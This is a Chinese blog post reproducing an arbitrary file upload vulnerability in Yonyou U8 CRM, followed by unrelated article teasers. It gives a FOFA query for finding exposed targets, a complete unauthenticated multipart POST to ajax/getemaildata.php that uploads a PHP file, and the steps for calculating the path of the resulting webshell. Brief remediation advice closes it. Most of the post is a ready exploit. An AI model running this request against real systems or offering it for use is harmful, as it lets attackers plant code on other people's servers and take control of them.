用友U8 CRM客户关系管理任意文件上传漏洞复现【附POC】

news/2024/6/17 22:47:43 标签: 安全, web安全, 网络安全, 系统安全

文章目录

  • 用友U8 CRM客户关系管理任意文件上传漏洞复现
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响平台
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
      • 4.访问shell地址
    • 0x06 整改建议

用友U8 CRM客户关系管理任意文件上传漏洞复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

用友U8客户关系管理全面解决方案是基于中国企业最佳营销管理实践,更符合中国企业营销管理特点,客户关系管理的整合营销平台。产品融合数年来积累的知识、方法和经验,目标是帮助企业有效获取商机、提升营销能力。

用友U8 crm客户关系管理 ajax/getemaildata.php任意文件上传漏洞。

0x03 影响平台

用友U8 CRM 

0x04 漏洞环境

fofa:body=“用友U8CRM”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC (POST)

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 205
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQ
Accept-Encoding: gzip, deflate

------WebKitFormBoundarykS5RKgl8t3nwInMQ
Content-Disposition: form-data; name="file"; filename="ceshi.php "
Content-Type: text/plain

<?php echo md5(123456);?>

------WebKitFormBoundarykS5RKgl8t3nwInMQ

3.复现

在这里插入图片描述
发现成功执行,响应成功!!!

4.访问shell地址

上传之后返回的路径为:上传之后返回的路径为:D:\U8SOFT\turbocrm70\code\www\tmpfile\mht1312.tmp.mht

文件名称为:mht1312.tmp.mht,直接访问这个文件不解析,需要访问另一个文件

上传之后会在目录下生成两个文件tmp.mht和tmp.php文件

访问的解析文件格式为upd*.tmp.php**

星号部分为返回的文件名的十六进制减去一。

例如:
1312——>31333132(十六进制),31333131(十六进制减一)——>1311
在这里插入图片描述

最终的shell文件名为:http://ip:port/tmpfile/upd1311.tmp.php
在这里插入图片描述

0x06 整改建议

1.设置权限限制,禁止上传目录的执行权限
2.严格限制可上传的文件类型
3.严格限制可上传的文件路径
4.文件扩展名服务端白名单校验
5文件内容服务端校验
6.上传文件重命名
9.隐藏上传文件路径


http://www.niftyadmin.cn/n/5053752.html

相关文章

git使用过程中出现乱码的解决办法

当我们使用git log或者git diff等git操作时&#xff0c;在终端很可能会遇到乱码&#xff0c;乱码效果如下&#xff1a; <E6><B7><BB><E5><8A><A0><E4><BA><86><E4><B8><80><E4><BA>&…

Python Urllib:网络库(stdlib)的强大功能与灵活运用

当我们谈论Python中的网络编程时&#xff0c;Urllib这个内置库无疑是我们应该重点关注的对象。Urllib为Python开发者提供了一套全面、易用的API&#xff0c;用于处理网络请求和数据传输。借助Urllib&#xff0c;我们可以发送HTTP请求、进行URL编码和解码、处理cookies和会话等。…

在比特币上支持椭圆曲线 BLS12–381

通过使用智能合约实现来支持任何曲线 BLS12–381 是一种较新的配对友好型椭圆曲线。 与常用的 BN-256 曲线相比&#xff0c;BLS12-381 的安全性明显更高&#xff0c;并且安全目标是 128 位。 所有其他区块链&#xff0c;例如 Zcash 和以太坊&#xff0c;都必须通过硬分叉才能升…

腾讯大牛耗时1个月整理的“JVM学习笔记“深入底层,面面俱到!

为什么要学习JVM&#xff1f; 1、 程序调优2、 排查程序运行问题3、 掌握了程序执行的根本和原理4、 规避写代码时候的一些错误5、 应付面试6、 掌握了其他语言的通用机制 怎么有效的学习JVM&#xff1f; 以上了解了学习JVM的种种好处&#xff0c;但是怎么有效的学习JVM呢&a…

该函数的功能是将一个字符数组src中的内容复制到另一个字符数组des中,并在复制完成后将des长度设置为src长度加1

函数功能解释 int byteArrayBeforeWriteProc(char *src, int srcLen,char *des, int &desLen) {if (srcLen > 0 && des ! nullptr && desLen > srcLen 1) {memcpy(des, src, srcLen);des[srcLen] \0;desLen srcLen 1;return 0;}return -1; // 处…

正点原子lwIP学习笔记——NETCONN接口简介

1. NETCONN接口简介 NETCONN API 使用了操作系统的 IPC 机制&#xff0c; 对网络连接进行了抽象&#xff0c;使用同一的接口完成UDP和TCP连接。 NETCONN API接口是在RAW接口基础上延申出来的一套API接口 首先会调用netconn_new创建一个pcb控制块&#xff0c;其实际是一个宏定…

spring bean实例化过程及顺序

spring bean的初始化从doCreateBean方法开始&#xff0c;依次会调用下面三个方法执行bean的初始化。大部分方法都在AbstractAutowireCapableBeanFactory类中。 实例化 createBeanInstance()方法根据BeanDef获取bean对应的class通过反射调用构造函数进行bean的实例化。 这里会…

《从零开始的Java世界》02面向对象(基础)

《从零开始的Java世界》系列主要讲解Javase部分&#xff0c;从最简单的程序设计到面向对象编程&#xff0c;再到异常处理、常用API的使用&#xff0c;最后到注解、反射&#xff0c;涵盖Java基础所需的所有知识点。学习者应该从学会如何使用&#xff0c;到知道其实现原理全方位式…